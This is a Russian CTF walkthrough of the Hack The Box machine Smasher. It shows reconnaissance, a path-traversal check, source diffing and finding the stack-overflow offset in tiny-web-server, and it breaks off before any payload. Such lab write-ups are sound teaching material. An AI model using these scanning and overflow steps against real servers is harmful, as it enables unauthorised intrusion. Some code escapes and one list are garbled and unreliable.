Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье тебя ждут: низкоуровневая эксплуатация веб-сервера со срывом стека и генерацией шелл-кода на лету с помощью древней магии pwntools; атака Padding Oracle на питоновское приложение для вскрытия шифртекста AES-CBC, а также реверс-инжиниринг исполняемого файла с атрибутом SUID для повышения привилегий в системе до локального суперпользователя.
Все это мы проделаем на пути к root-флагу виртуалки Smasher (уровень сложности Insane — 7,6 балла из 10) с CTF-площадки Hack The Box. Поскольку речь в основном пойдет о срыве стека, это будет отличным завершением для нашего цикла «В королевстве PWN».
HTB — Smasher
В этом цикле статей мы изучаем разные аспекты атак типа «переполнение стека». Читай также:
Я продолжаю извращаться с методами обнаружения открытых портов, и в этот раз будем пользоваться связкой из Masscan и Nmap. Masscan, к слову, на сегодняшний день самый быстрый из асинхронных сканеров портов. Ко всему прочему он опирается на собственное видение стека TCP/IP и, по словам разработчика, может просканировать весь интернет за шесть минут с одного хоста.
root@kali:~# masscan —rate=1000 -e tun0 -p1-65535,U:1-65535 10.10.10.89 > ports
Первой командой я инициирую сканирование всего диапазона портов (в том числе UDP) IP-адреса, по которому живет Smasher, и перенаправляю результат в текстовый файл.
root@kali:~# ports=`cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr "n" ',' | sed 's/,$//'`
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/smasher -p$ports 10.10.10.89
Далее с помощью стандартных средств текстового процессинга в Linux обрабатываю результаты скана, чтобы найденные порты хранились одной строкой через запятую, сохраняю эту строку в переменной ports
и спускаю с поводка Nmap.
Сканирование портов ВМ Smasher
По мнению Nmap, мы имеем дело с Ubuntu 16.04 (Xenial). Оно основано на информации о баннере SSH. Постучаться же можно в порты 22 и 1111. На последнем, кстати, висит некий shenfeng tiny-web-server — вот его мы и отправимся исследовать в первую очередь.
Браузер
По адресу http://10.10.10.89:1111/
тебя встретит листинг корневой директории веб-сервера.
Листинг корневой директории веб-сервера
Интересно, что страница index.html
существует, но редиректа на нее нет — вместо этого открывается список файлов каталога. Запомним это.
Форма авторизации /index.html
Если мы перейдем на /index.html
вручную, то увидим заглушку для формы авторизации, с которой никак нельзя взаимодействовать (можно печатать в полях ввода, но кнопка Login не работает). Забавно, что оба поля для ввода называются input.email
.
Наименования полей формы авторизации
A tiny web server in C
Если поискать shenfeng tiny-web-server в Сети, по первой же ссылке в выдаче результатов можно найти репозиторий проекта на GitHub.
Сразу же бросаются в глаза предупреждения, что код небезопасен: первое в самом описании сервера (как единственная его «антифича»), второе — в открытых issues.
Проблема безопасности tiny-web-server (Path Traversal)
Если верить описанию, то tiny-web-server подвержен Path Traversal, а возможность просматривать листинги директорий как будто шепчет тебе на ухо: «Так оно и есть…»
Проверим выполнимость Path Traversal. Так как Firefox любит исправлять синтаксически некорректные конструкции в адресной строке (в частности, резать префиксы вида ../../../
), то я сделаю это с помощью nc
, как показано в issue.
PoC уязвимости выхода за корневую директорию веб-сервера
Что и требовалось доказать — у нас есть возможность читать файлы на сервере!
Что дальше? Осмотримся. Если дублировать первичный слеш для доступа к каталогам, сервер подумает, что таким образом мы обращаемся к корневой директории, — и разведку можно будет провести прямо из браузера.
Содержимое /home
В /home
нам доступна всего одна директория — /www
.
Содержимое /home/www
Из интересного здесь — скрипт restart.sh
для перезапуска инстанса процесса сервера, а также сама директория с проектом.
#!/usr/bin/env bash
## Please don’t edit this file let others players have fun
cd /home/www/tiny-web-server/
ps aux | grep tiny | awk '{print $2}' | xargs kill -9
nohup ./tiny public_html/ 1111 2>&1 > /dev/null &
Содержимое /home/www/tiny-web-server
Чтобы не мучиться с загрузкой каждого файла по отдельности, я клонирую директорию /home/www
целиком с помощью wget
, исключив каталог .git
, — различия в коде веб-сервера по сравнению с GitHub-версией мы узнаем чуть позже другим способом.
root@kali:~# wget —mirror -X home/www/tiny-web-server/.git http://10.10.10.89:1111//home/www/
Клонирование /home/www с помощью wget
Три файла представляют для нас интерес: Makefile
, tiny
и tiny.c
.
Листинг локальной копии /home/www
В Makefile
содержатся инструкции для сборки исполняемого файла.
CC = c99
CFLAGS = -Wall -O2
## LIB = -lpthread
all: tiny
tiny: tiny.c
$(CC) $(CFLAGS) -g -fno-stack-protector -z execstack -o tiny tiny.c $(LIB)
clean:
rm -f *.o tiny *~
Флаги -g -fno-stack-protector -z execstack
намекают нам на предполагаемый «по сюжету» вектор атаки — срыв стека, который, надеюсь, уже успел тебе полюбиться.
Файл tiny
— сам бинарник, который развернут на Smasher.
Сводка безопасности исполняемого файла tiny (checksec)
У нас есть исполняемый стек, сегменты с возможностью записи и исполнения произвольных данных и активный механизм FORTIFY
— последний, правда, ни на что не повлияет в нашей ситуации (подробнее о нем можно прочесть в первой части цикла, где мы разбирали вывод checksec
). Плюс нужно помнить, что на целевом хосте, скорее всего, активен механизм рандомизации адресного пространства ASLR.
Прежде чем перейти непосредственно к сплоитингу, посмотрим, изменил ли как-нибудь автор машины исходный код tiny.c
(сам файл я положу к себе на гитхаб, чтобы не загромождать тело статьи).
Если нужно построчно сравнить текстовые файлы, я предпочитаю расширение DiffTabs для Sublime Text, где — в отличие от дефолтного diff
— есть подсветка синтаксиса. Однако, если ты привык работать исключительно из командной строки, colordiff
станет удобной альтернативой.
Выдернем последнюю версию tiny.c
с гитхаба (будем звать ее tiny-github.c
) и сравним с тем исходником, который мы захватили на Smasher.
root@kali:~# wget -qO tiny1-github.c https://raw.githubusercontent.com/shenfeng/tiny-web-server/master/tiny.c
root@kali:~# colordiff tiny-github.c tiny.c
166c166
< sprintf(buf, "HTTP/1.1 200 OKrn%s%s%s%s%s",
---
> sprintf(buf, "HTTP/1.1 200 OKrnServer: shenfeng tiny-web-serverrn%s%s%s%s%s",
233a234,236
> int reuse = 1;
> if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (const char*)&reuse, sizeof(reuse)) < 0)
> perror("setsockopt(SO_REUSEADDR) failed");
234a238,239
> if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEPORT, (const char*)&reuse, sizeof(reuse)) < 0)
> perror("setsockopt(SO_REUSEPORT) failed");
309c314
< sprintf(buf, "HTTP/1.1 %d %srn", status, msg);
---
> sprintf(buf, "HTTP/1.1 %d %srnServer: shenfeng tiny-web-serverrn", status, msg);
320c325
< sprintf(buf, "HTTP/1.1 206 Partialrn");
---
> sprintf(buf, "HTTP/1.1 206 PartialrnServer: shenfeng tiny-web-serverrn");
346c351,355
< void process(int fd, struct sockaddr_in *clientaddr){
---
> int process(int fd, struct sockaddr_in *clientaddr){
> int pid = fork();
> if(pid==0){
> if(fd < 0)
> return 1;
377a387,389
> return 1;
> }
> return 0;
407a420
> int copy_listen_fd = listenfd;
417,420c430
<
< for(int i = 0; i < 10; i++) {
< int pid = fork();
< if (pid == 0) { // child
---
> signal(SIGCHLD, SIG_IGN);
421a432
>
423c434,437
< process(connfd, &clientaddr);
---
> if(connfd > -1) {
> int res = process(connfd, &clientaddr);
> if(res == 1)
> exit(0);
424a439,440
> }
>
426,437d441
< } else if (pid > 0) { // parent
< printf("child pid is %dn", pid);
< } else {
< perror("fork");
< }
< }
<
< while(1){
< connfd = accept(listenfd, (SA *)&clientaddr, &clientlen);
< process(connfd, &clientaddr);
< close(connfd);
< }
438a443
>
Незначительные изменения:
233a234
, 234a238
);166c166
, 320c325
).Важные изменения: модифицирована логика обработки запросов клиента (все, что касается функции process
и создания форков). Если в tiny-github.c
реализована многопоточность с помощью концепции PreFork, когда мастер-процесс спавнит дочерние в цикле от 0 до 9, то в tiny.c
родитель форкается только один раз — и уже не в теле main
, а в самой функции process
. Полагаю, это было сделано, чтобы ослабить нагрузку на сервер — ведь ВМ атакует множество людей одновременно. Ну а нам это только на руку, потому что дебажить многопоточные приложения — то еще удовольствие.
На одной из моих вузовских практик преподаватель поставил такую задачу: без доступа в Сеть с точностью до строки найти в исходном коде пакета OpenSSL место, ответственное за нашумевшую уязвимость Heartbleed (CVE-2014-0160). Разумеется, в большинстве случаев нельзя однозначно обвинить во всех бедах одну-единственную строку, но всегда можно (и нужно) выделить для себя место в коде, от которого ты будешь отталкиваться при атаке.
Найдем такую строку в tiny.c
. В формате статьи трудно анализировать исходные коды без нагромождения повторяющейся информации — поэтому я представлю анализ в виде цепочки «прыжков» по функциям (начиная от main
и заканчивая уязвимостью), а ты потом сам проследишь этот путь в своем редакторе.
main() { int res = process(connfd, &clientaddr); } ==> process() { parse_request(fd, &req); } ==> parse_request() { url_decode(filename, req->filename, MAXLINE); }
Функция url_decode
принимает три аргумента: два массива строк (источник — filename
и назначение — req->filename
) и количество копируемых байтов из первого массива во второй. В нашем случае это константа MAXLINE
, равная 1024.
void url_decode(char* src, char* dest, int max) {
char *p = src;
char code[3] = { 0 };
while(*p && --max) {
if(*p == '%') {
memcpy(code, ++p, 2);
*dest++ = (char)strtoul(code, NULL, 16);
p += 2;
} else {
*dest++ = *p++;
}
}
*dest = ' ';
}
Алгоритм функции тривиален. Клиент запрашивает у сервера файл. Если строка с именем этого файла содержит данные в Percent-encoding (их можно определить по символу %
), функция выполняет декодирование и помещает соответствующий байт в массив назначения. В противном случае происходит простое побайтовое копирование. Однако проблема в том, что локальный массив filename
имеет размер MAXLINE
(то есть 1024 байт), а вот поле req->filename
структуры http_request
располагает лишь 512 байтами.
typedef struct {
char filename[512];
off_t offset; /* for support Range */
size_t end;
} http_request;
Налицо классический Out-of-bounds Write (CWE-787: запись за пределы доступной памяти) — он и делает возможным срыв стека.
В эпилоге мы посмотрим на анализ трассировки этого кода, а пока подумаем, как можно использовать уязвимое место tiny.c
.
Сперва насладимся моментом, когда сервер tiny
крашится. Так как с ошибкой сегментации упадет дочерний процесс программы, привычного алерта Segmentation fault
в окне терминала мы не увидим. Чтобы убедиться, что процесс отработал некорректно и завершился сегфолтом, я открою журнал сообщений ядра dmesg
(с флагом -w
) и запрошу у сервера (несуществующий) файл с именем из тысячи букв A.
root@kali:~# ./tiny 1111
root@kali:~# dmesg -w
root@kali:~# curl localhost:1111/$(python -c ‘print «A»*1000’)
Подтверждение ошибки сегментации процесса tiny
Класс: видим, что запрос выбивает child-процесс c general protection fault (или segmentation fault в нашем случае).
Поиск точки перезаписи RIP
Запустим исполняемый файл сервера в отладчике GDB.
root@kali:~# gdb-peda ./tiny
Reading symbols from ./tiny...
gdb-peda$ r 1111
Starting program: /root/htb/boxes/smasher/tiny 1111
listen on port 1111, fd is 3
Теперь важный момент: я не могу пользоваться циклическим паттерном де Брёйна, который предлагает PEDA, ведь он содержит символы '%'
— а они, если помнишь, трактуются сервером как начало URL-кодировки.
Циклическая последовательность, сгенерированная при помощи GDB PEDA
Значит, нам нужен другой генератор. Можно пользоваться msf-pattern_create -l <N>
и msf-pattern_offset -q <0xFFFF>
, чтобы создать последовательность нужной длины и найти смещение. Однако я предпочитаю модуль pwntools
, который работает в разы быстрее.
Циклические последовательности, сгенерированные при помощи MSF и pwntools
Как мы видим, ни один из инструментов не использует «плохие» символы, поэтому для генерации вредоносного URL можно юзать любой из них.
root@kali:~# curl localhost:1111/$(python -c ‘import pwn; print pwn.cyclic(1000)’)
File not found
Мы отправили запрос на открытие несуществующей страницы при помощи curl
— а теперь смотрим, какое значение осело в регистре RSP, и рассчитываем величину смещения до RIP.
gdb-peda$ x/xw $rsp
0x7fffffffdf48: 0x66616172
root@kali:~# python -c ‘from pwn import *; print cyclic_find(unhex(«66616172»)[::-1])’
568
Ответ: 568.
После выхода из отладчика хорошо бы принудительно убить все инстансы веб-сервера — ведь однозначно завершился только child-процесс.
root@kali:~# ps aux | grep tiny | awk ‘{print $2}’ | xargs kill -9
Источник: xakep.ru